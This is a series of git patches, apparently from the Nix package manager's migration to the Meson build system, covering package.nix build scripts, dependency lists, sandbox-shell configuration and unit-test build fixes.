@@ -241,7 +241,7 @@ else subdir('unix') endif -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nixutil', @@ -261,4 +261,4 @@ if host_machine.system() == 'windows' libraries_private += ['-lws2_32'] endif -subdir('meson-utils/export') +subdir('build-utils-meson/export') From 5ba9f6cec616b26994441a8cbd766e528cd99609 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 18:28:24 -0400 Subject: [PATCH 0958/1251] Fix typo --- packaging/hydra.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packaging/hydra.nix b/packaging/hydra.nix index 8c212d2fb..244a4ad3f 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -44,7 +44,7 @@ let "nix-store-test-support" "nix-store-test" "nix-fetchers" - "nix-fetcher-test" + "nix-fetchers-test" "nix-expr" "nix-expr-c" "nix-expr-test-support" From 479befa76d6b6d78b9304716a108ecd8c5cbae6c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 19:19:32 -0400 Subject: [PATCH 0959/1251] More fixes --- flake.nix | 1 + meson.build | 4 ++-- src/libexpr-c/package.nix | 4 +++- src/libexpr-test-support/package.nix | 4 +++- src/libexpr-test/meson.build | 10 ++-------- src/libexpr-test/package.nix | 4 +++- src/libexpr/{flake => }/call-flake.nix | 0 src/libexpr/eval.cc | 2 +- src/libexpr/local.mk | 2 +- src/libexpr/meson.build | 13 ++++++------- src/libexpr/package.nix | 19 ++++++++++++++++++- src/libexpr/primops/meson.build | 17 +++++++++++++++++ src/libfetchers-test/meson.build | 11 ++--------- src/libfetchers-test/package.nix | 4 +++- src/libfetchers/meson.build | 2 +- src/libfetchers/package.nix | 4 +++- src/libflake-test/meson.build | 15 ++------------- src/libflake-test/package.nix | 4 +++- src/libflake/meson.build | 3 --- src/libflake/package.nix | 4 +++- src/libstore-c/package.nix | 4 +++- src/libstore-test-support/package.nix | 4 +++- src/libstore-test/meson.build | 7 ++----- src/libstore-test/package.nix | 4 +++- src/libstore/package.nix | 4 +++- src/libutil-c/package.nix | 4 +++- src/libutil-test-support/package.nix | 4 +++- src/libutil-test/meson.build | 4 ++-- src/libutil-test/package.nix | 4 +++- src/libutil/package.nix | 2 ++ 30 files changed, 101 insertions(+), 67 deletions(-) rename src/libexpr/{flake => }/call-flake.nix (100%) create mode 100644 src/libexpr/primops/meson.build diff --git a/flake.nix b/flake.nix index fc46ef940..cfea7d386 100644 --- a/flake.nix +++ b/flake.nix @@ -324,6 +324,7 @@ ++ pkgs.nixComponents.nix-internal-api-docs.nativeBuildInputs ++ pkgs.nixComponents.nix-external-api-docs.nativeBuildInputs ++ [ + pkgs.buildPackages.cmake modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" modular.pre-commit.settings.installationScript) diff --git a/meson.build b/meson.build index e969fc907..fb38d7ef2 100644 --- a/meson.build +++ b/meson.build @@ -13,8 +13,8 @@ subproject('libexpr') subproject('libflake') # Docs -#subproject('internal-api-docs') -#subproject('external-api-docs') +subproject('internal-api-docs') +subproject('external-api-docs') # C wrappers subproject('libutil-c') diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix index 542be064d..33412e218 100644 --- a/src/libexpr-c/package.nix +++ b/src/libexpr-c/package.nix @@ -62,9 +62,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libexpr-test-support/package.nix b/src/libexpr-test-support/package.nix index cbc852fa5..ecfb2bb09 100644 --- a/src/libexpr-test-support/package.nix +++ b/src/libexpr-test-support/package.nix @@ -64,9 +64,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index f70fd0693..04b60f6d6 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -17,18 +17,12 @@ cxx = meson.get_compiler('cpp') subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ -] -deps_public_maybe_subproject = [ - dependency('nix-util'), - dependency('nix-util-c'), - dependency('nix-util-test-support'), - dependency('nix-store'), - dependency('nix-store-c'), - dependency('nix-store-test-support'), dependency('nix-expr'), dependency('nix-expr-c'), dependency('nix-expr-test-support'), ] +deps_public_maybe_subproject = [ +] subdir('build-utils-meson/subprojects') subdir('build-utils-meson/export-all-symbols') diff --git a/src/libexpr-test/package.nix b/src/libexpr-test/package.nix index 7c8c9c4d1..12f4dd506 100644 --- a/src/libexpr-test/package.nix +++ b/src/libexpr-test/package.nix @@ -69,9 +69,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libexpr/flake/call-flake.nix b/src/libexpr/call-flake.nix similarity index 100% rename from src/libexpr/flake/call-flake.nix rename to src/libexpr/call-flake.nix diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index d2be00e55..48ed66883 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -293,7 +293,7 @@ EvalState::EvalState( )} , callFlakeInternal{internalFS->addFile( CanonPath("call-flake.nix"), - #include "flake/call-flake.nix.gen.hh" + #include "call-flake.nix.gen.hh" )} , store(store) , buildStore(buildStore ? buildStore : store) diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index 26958bf2c..68518e184 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -47,4 +47,4 @@ $(foreach i, $(wildcard src/libexpr/value/*.hh), \ $(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh -$(d)/eval.cc: $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh $(d)/flake/call-flake.nix.gen.hh +$(d)/eval.cc: $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh $(d)/call-flake.nix.gen.hh diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index fdf264604..04822d179 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -55,6 +55,9 @@ if bdw_gc.found() endif configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int()) +toml11 = dependency('toml11', version : '>=3.7.0', method : 'cmake') +deps_other += toml11 + config_h = configure_file( configuration : configdata, output : 'config-expr.hh', @@ -117,8 +120,7 @@ generated_headers = [] foreach header : [ 'imported-drv-to-derivation.nix', 'fetchurl.nix', - 'flake/call-flake.nix', - 'primops/derivation.nix', + 'call-flake.nix', ] generated_headers += custom_target( command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], @@ -142,11 +144,6 @@ sources = files( 'nixexpr.cc', 'paths.cc', 'primops.cc', - 'primops/context.cc', - 'primops/fetchClosure.cc', - 'primops/fetchMercurial.cc', - 'primops/fetchTree.cc', - 'primops/fromTOML.cc', 'print-ambiguous.cc', 'print.cc', 'search-path.cc', @@ -187,6 +184,8 @@ headers = [config_h] + files( 'value/context.hh', ) +subdir('primops') + this_library = library( 'nixexpr', sources, diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix index 14fbf0a06..855d5057e 100644 --- a/src/libexpr/package.nix +++ b/src/libexpr/package.nix @@ -5,6 +5,9 @@ , meson , ninja , pkg-config +, bison +, flex +, cmake # for resolving toml11 dep , nix-util , nix-store @@ -12,6 +15,7 @@ , boost , boehmgc , nlohmann_json +, toml11 # Configuration Options @@ -57,8 +61,12 @@ mkDerivation (finalAttrs: { fileset = fileset.unions [ ./meson.build ./meson.options + ./primops/meson.build (fileset.fileFilter (file: file.hasExt "cc") ./.) (fileset.fileFilter (file: file.hasExt "hh") ./.) + ./lexer.l + ./parser.y + (fileset.fileFilter (file: file.hasExt "nix") ./.) ]; }; @@ -68,6 +76,13 @@ mkDerivation (finalAttrs: { meson ninja pkg-config + bison + flex + cmake + ]; + + buildInputs = [ + toml11 ]; propagatedBuildInputs = [ @@ -79,9 +94,11 @@ mkDerivation (finalAttrs: { ] ++ lib.optional enableGC boehmgc; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libexpr/primops/meson.build b/src/libexpr/primops/meson.build new file mode 100644 index 000000000..96a1dd07e --- /dev/null +++ b/src/libexpr/primops/meson.build @@ -0,0 +1,17 @@ +foreach header : [ + 'derivation.nix', +] + generated_headers += custom_target( + command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], + input : header, + output : '@PLAINNAME@.gen.hh', + ) +endforeach + +sources += files( + 'context.cc', + 'fetchClosure.cc', + 'fetchMercurial.cc', + 'fetchTree.cc', + 'fromTOML.cc', +) diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build index e7c5b7873..785754b34 100644 --- a/src/libfetchers-test/meson.build +++ b/src/libfetchers-test/meson.build @@ -17,16 +17,11 @@ cxx = meson.get_compiler('cpp') subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ -] -deps_public_maybe_subproject = [ - dependency('nix-util'), - dependency('nix-util-c'), - dependency('nix-util-test-support'), - dependency('nix-store'), - dependency('nix-store-c'), dependency('nix-store-test-support'), dependency('nix-fetchers'), ] +deps_public_maybe_subproject = [ +] subdir('build-utils-meson/subprojects') subdir('build-utils-meson/export-all-symbols') @@ -43,8 +38,6 @@ add_project_arguments( '-include', 'config-util.hh', '-include', 'config-store.hh', '-include', 'config-store.hh', - '-include', 'config-util.h', - '-include', 'config-store.h', language : 'cpp', ) diff --git a/src/libfetchers-test/package.nix b/src/libfetchers-test/package.nix index f4d3f3b73..78d8ab490 100644 --- a/src/libfetchers-test/package.nix +++ b/src/libfetchers-test/package.nix @@ -67,9 +67,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index 257e15766..d5703bbb3 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -30,7 +30,7 @@ nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json libgit2 = dependency('libgit2') -deps_public += libgit2 +deps_private += libgit2 add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix index d2560255e..0146f5aa5 100644 --- a/src/libfetchers/package.nix +++ b/src/libfetchers/package.nix @@ -69,9 +69,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so its not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build index dd3f658be..b8221b2ad 100644 --- a/src/libflake-test/meson.build +++ b/src/libflake-test/meson.build @@ -17,19 +17,11 @@ cxx = meson.get_compiler('cpp') subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ -] -deps_public_maybe_subproject = [ - dependency('nix-util'), - dependency('nix-util-c'), - dependency('nix-util-test-support'), - dependency('nix-store'), - dependency('nix-store-c'), - dependency('nix-store-test-support'), - dependency('nix-expr'), - dependency('nix-expr-c'), dependency('nix-expr-test-support'), dependency('nix-flake'), ] +deps_public_maybe_subproject = [ +] subdir('build-utils-meson/subprojects') subdir('build-utils-meson/export-all-symbols') @@ -46,9 +38,6 @@ add_project_arguments( '-include', 'config-util.hh', '-include', 'config-store.hh', '-include', 'config-expr.hh', - '-include', 'config-util.h', - '-include', 'config-store.h', - '-include', 'config-expr.h', language : 'cpp', ) diff --git a/src/libflake-test/package.nix b/src/libflake-test/package.nix index f03f58619..4fb190706 100644 --- a/src/libflake-test/package.nix +++ b/src/libflake-test/package.nix @@ -67,9 +67,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libflake/meson.build b/src/libflake/meson.build index e43d21dd3..30f98dce6 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -29,9 +29,6 @@ subdir('build-utils-meson/subprojects') nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json -libgit2 = dependency('libgit2') -deps_public += libgit2 - add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. diff --git a/src/libflake/package.nix b/src/libflake/package.nix index 1280df7b7..523da4b78 100644 --- a/src/libflake/package.nix +++ b/src/libflake/package.nix @@ -69,9 +69,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so its not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix index 2ed78a760..d0e81b1f9 100644 --- a/src/libstore-c/package.nix +++ b/src/libstore-c/package.nix @@ -62,9 +62,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libstore-test-support/package.nix b/src/libstore-test-support/package.nix index a28f54e2a..0f4ea73ba 100644 --- a/src/libstore-test-support/package.nix +++ b/src/libstore-test-support/package.nix @@ -64,9 +64,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index 6599b2d96..bfd827b01 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -17,15 +17,12 @@ cxx = meson.get_compiler('cpp') subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ -] -deps_public_maybe_subproject = [ - dependency('nix-util'), - dependency('nix-util-c'), - dependency('nix-util-test-support'), dependency('nix-store'), dependency('nix-store-c'), dependency('nix-store-test-support'), ] +deps_public_maybe_subproject = [ +] subdir('build-utils-meson/subprojects') subdir('build-utils-meson/export-all-symbols') diff --git a/src/libstore-test/package.nix b/src/libstore-test/package.nix index b57adfea5..0a49f1a05 100644 --- a/src/libstore-test/package.nix +++ b/src/libstore-test/package.nix @@ -69,9 +69,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libstore/package.nix b/src/libstore/package.nix index 5af1a7815..a08fabff7 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -87,9 +87,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix index 37f2291b5..ba1dbe38a 100644 --- a/src/libutil-c/package.nix +++ b/src/libutil-c/package.nix @@ -60,9 +60,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libutil-test-support/package.nix b/src/libutil-test-support/package.nix index c6a0f0183..795159ebf 100644 --- a/src/libutil-test-support/package.nix +++ b/src/libutil-test-support/package.nix @@ -62,9 +62,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build index b90148f21..19157cda3 100644 --- a/src/libutil-test/meson.build +++ b/src/libutil-test/meson.build @@ -17,12 +17,12 @@ cxx = meson.get_compiler('cpp') subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ -] -deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-c'), dependency('nix-util-test-support'), ] +deps_public_maybe_subproject = [ +] subdir('build-utils-meson/subprojects') subdir('build-utils-meson/export-all-symbols') diff --git a/src/libutil-test/package.nix b/src/libutil-test/package.nix index 391f8d853..396e41f3d 100644 --- a/src/libutil-test/package.nix +++ b/src/libutil-test/package.nix @@ -69,9 +69,11 @@ mkDerivation (finalAttrs: { ]; preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. '' echo ${version} > .version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ diff --git a/src/libutil/package.nix b/src/libutil/package.nix index ef5e251fb..aff338d16 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -79,9 +79,11 @@ mkMesonDerivation (finalAttrs: { preConfigure = # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after. + # Do the meson utils, without modification. '' chmod u+w ./.version echo ${version} > ../../.version + cp -r ${../../build-utils-meson} build-utils-meson ''; mesonFlags = [ From 17c843c5c536e6f9266003956a8251a7882ecccc Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 19:30:58 -0400 Subject: [PATCH 0960/1251] Fix more issues --- package.nix | 5 +---- packaging/dependencies.nix | 13 ++++++++++--- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/package.nix b/package.nix index 28d7e788f..da3a069fa 100644 --- a/package.nix +++ b/package.nix @@ -207,10 +207,7 @@ in { libsodium openssl sqlite - (toml11.overrideAttrs (old: { - # TODO change in Nixpkgs, Windows works fine. - meta.platforms = lib.platforms.all; - })) + toml11 xz ({ inherit readline editline; }.${readlineFlavor}) ] ++ lib.optionals enableMarkdown [ diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix index b2349f02c..909a0a38e 100644 --- a/packaging/dependencies.nix +++ b/packaging/dependencies.nix @@ -10,6 +10,7 @@ stdenv, versionSuffix, }: + let inherit (pkgs) lib; @@ -52,7 +53,7 @@ scope: { enableLargeConfig = true; }; - # Hack until https://github.com/NixOS/nixpkgs/issues/45462 is fixed. + # TODO Hack until https://github.com/NixOS/nixpkgs/issues/45462 is fixed. boost = (pkgs.boost.override { extraB2Args = [ "--with-container" @@ -61,8 +62,8 @@ scope: { ]; }).overrideAttrs (old: { # Need to remove `--with-*` to use `--with-libraries=...` - buildPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.buildPhase; - installPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.installPhase; + buildPhase = lib.replaceStrings [ "--without-python" ] [ "" ] old.buildPhase; + installPhase = lib.replaceStrings [ "--without-python" ] [ "" ] old.installPhase; }); libgit2 = pkgs.libgit2.overrideAttrs (attrs: { @@ -96,5 +97,11 @@ scope: { ''; }); + # TODO change in Nixpkgs, Windows works fine. First commit of + # https://github.com/NixOS/nixpkgs/pull/322977 backported will fix. + toml11 = pkgs.toml11.overrideAttrs (old: { + meta.platforms = lib.platforms.all; + }); + mkMesonDerivation = f: stdenv.mkDerivation (lib.extends localSourceLayer f); } From 7312d13acc134f57a4b959f035cac6f661c469cd Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 19:35:54 -0400 Subject: [PATCH 0961/1251] Keep another test dir --- src/libflake-test/data/.gitkeep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 src/libflake-test/data/.gitkeep diff --git a/src/libflake-test/data/.gitkeep b/src/libflake-test/data/.gitkeep new file mode 100644 index 000000000..e69de29bb From 874ff000d4f7e661e7e95d608f6ab7083f563d6a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 20:41:03 -0400 Subject: [PATCH 0962/1251] Fix format --- maintainers/flake-module.nix | 2 +- src/libcmd/network-proxy.cc | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index b78e5f63a..c0373dee4 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -15,7 +15,7 @@ excludes = [ # We don't want to format test data # ''tests/(?!nixos/).*\.nix'' - ''^src/[^/]*-test/[^/]*/data/.*$'' + ''^src/[^/]*-test/data/.*$'' # Don't format vendored code ''^doc/manual/redirects\.js$'' diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc index 47be311cd..738bf6147 100644 --- a/src/libcmd/network-proxy.cc +++ b/src/libcmd/network-proxy.cc @@ -13,7 +13,8 @@ static StringSet getAllVariables() StringSet variables = lowercaseVariables; for (const auto & variable : lowercaseVariables) { std::string upperVariable; - std::transform(variable.begin(), variable.end(), upperVariable.begin(), [](unsigned char c) { return std::toupper(c); }); + std::transform( + variable.begin(), variable.end(), upperVariable.begin(), [](unsigned char c) { return std::toupper(c); }); variables.insert(std::move(upperVariable)); } return variables; From f7ce10dbc15635ebc652d4746c74e437a964881e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 28 Jun 2024 14:26:04 -0400 Subject: [PATCH 0963/1251] Fix static build --- package.nix | 4 ++-- src/libstore/meson.build | 27 ++++++++++++++------------- src/libstore/package.nix | 7 +++++-- 3 files changed, 21 insertions(+), 17 deletions(-) diff --git a/package.nix b/package.nix index da3a069fa..041786d47 100644 --- a/package.nix +++ b/package.nix @@ -33,7 +33,7 @@ , rapidcheck , sqlite , toml11 -, util-linux +, unixtools , xz , busybox-sandbox-shell ? null @@ -195,7 +195,7 @@ in { man # for testing `nix-* --help` ] ++ lib.optionals (doInstallCheck || enableManual) [ jq # Also for custom mdBook preprocessor. - ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux + ] ++ lib.optional stdenv.hostPlatform.isStatic unixtools.hexdump ; buildInputs = lib.optionals doBuild [ diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 62137ef5f..0686a591e 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -99,15 +99,6 @@ deps_public += nlohmann_json sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') deps_private += sqlite - -enable_embedded_sandbox_shell = get_option('embedded-sandbox-shell') -if enable_embedded_sandbox_shell - # This one goes in config.h - # The path to busybox is passed as a -D flag when compiling this_library. - # Idk why, ask the old buildsystem. - configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1) -endif - generated_headers = [] foreach header : [ 'schema.sql', @@ -122,7 +113,13 @@ foreach header : [ ) endforeach -if enable_embedded_sandbox_shell +busybox = find_program(get_option('sandbox-shell'), required : false) + +if get_option('embedded-sandbox-shell') + # This one goes in config.h + # The path to busybox is passed as a -D flag when compiling this_library. + # Idk why, ask the old buildsystem. + configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1) hexdump = find_program('hexdump', native : true) embedded_sandbox_shell_gen = custom_target( 'embedded-sandbox-shell.gen.hh', @@ -371,11 +368,15 @@ cpp_str_defines += { 'LSOF': lsof_path } -#if busybox.found() +if get_option('embedded-sandbox-shell') cpp_str_defines += { -# 'SANDBOX_SHELL': busybox.full_path() + 'SANDBOX_SHELL': '__embedded_sandbox_shell__' } -#endif +elif busybox.found() + cpp_str_defines += { + 'SANDBOX_SHELL': busybox.full_path() + } +endif cpp_args = [] diff --git a/src/libstore/package.nix b/src/libstore/package.nix index a08fabff7..d4859a411 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -5,6 +5,7 @@ , meson , ninja , pkg-config +, unixtools , nix-util , boost @@ -20,6 +21,8 @@ , versionSuffix ? "" +, embeddedSandboxShell ? stdenv.hostPlatform.isStatic + # Check test coverage of Nix. Probably want to use with at least # one of `doCheck` or `doInstallCheck` enabled. , withCoverageChecks ? false @@ -66,7 +69,7 @@ mkDerivation (finalAttrs: { meson ninja pkg-config - ]; + ] ++ lib.optional embeddedSandboxShell unixtools.hexdump; buildInputs = [ boost @@ -96,7 +99,7 @@ mkDerivation (finalAttrs: { mesonFlags = [ (lib.mesonEnable "seccomp-sandboxing" stdenv.hostPlatform.isLinux) - (lib.mesonBool "embedded-sandbox-shell" stdenv.hostPlatform.isStatic) + (lib.mesonBool "embedded-sandbox-shell" embeddedSandboxShell) ] ++ lib.optionals stdenv.hostPlatform.isLinux [ (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox") ]; From 912c517bc067f35caab5225822ab2fb8b3ccb1fb Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 28 Jun 2024 14:57:10 -0400 Subject: [PATCH 0964/1251] Fix build of unit tests --- src/libexpr-c/meson.build | 3 +++ src/libstore-c/meson.build | 3 +++ src/libstore-test/meson.build | 3 +++ src/libstore-test/package.nix | 13 ++++++++++--- src/libutil-c/meson.build | 3 +++ 5 files changed, 22 insertions(+), 3 deletions(-) diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index 3c5d9e6b7..fa970c3a2 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -69,6 +69,9 @@ headers = [config_h] + files( 'nix_api_value.h', ) +# TODO don't install this once tests don't use it. +headers += files('nix_api_expr_internal.h') + subdir('build-utils-meson/export-all-symbols') this_library = library( diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 4f2d77d9f..93ce97960 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -61,6 +61,9 @@ headers = [config_h] + files( 'nix_api_store.h', ) +# TODO don't install this once tests don't use it. +headers += files('nix_api_store_internal.h') + subdir('build-utils-meson/export-all-symbols') this_library = library( diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index bfd827b01..6bf0a5028 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -27,6 +27,9 @@ subdir('build-utils-meson/subprojects') subdir('build-utils-meson/export-all-symbols') +sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') +deps_private += sqlite + rapidcheck = dependency('rapidcheck') deps_private += rapidcheck diff --git a/src/libstore-test/package.nix b/src/libstore-test/package.nix index 0a49f1a05..e37e64886 100644 --- a/src/libstore-test/package.nix +++ b/src/libstore-test/package.nix @@ -9,6 +9,7 @@ , nix-store , nix-store-c , nix-store-test-support +, sqlite , rapidcheck , gtest @@ -64,6 +65,7 @@ mkDerivation (finalAttrs: { nix-store nix-store-c nix-store-test-support + sqlite rapidcheck gtest ]; @@ -94,10 +96,15 @@ mkDerivation (finalAttrs: { passthru = { tests = { - run = runCommand "${finalAttrs.pname}-run" { - } '' + run = let + # Inline some drv files shared with the libexpr tests + data = runCommand "${finalAttrs.pname}-test-data" {} '' + cp -r --no-preserve=mode ${./data} $out + cp -r --remove-destination ${../../tests/functional/derivation}/* $out/derivation/ + ''; + in runCommand "${finalAttrs.pname}-run" {} '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" - export _NIX_TEST_UNIT_DATA=${./data} + export _NIX_TEST_UNIT_DATA=${data} nix-store-test touch $out ''; diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 5e12186d2..2fa1bd424 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -57,6 +57,9 @@ headers = [config_h] + files( 'nix_api_util.h', ) +# TODO don't install this once tests don't use it. +headers += files('nix_api_util_internal.h') + subdir('build-utils-meson/export-all-symbols') this_library = library( From 513f6b971855947de8ac9a344319eace77e9c2ad Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 28 Jun 2024 17:02:23 -0400 Subject: [PATCH 0965/1251] meson: Prelink links to avoid missing C++ initializers This is the same as what the old build system did in 7eca8a16eaf74bc15a816e24005a65e5480d2a79, done for the same reasons. --- 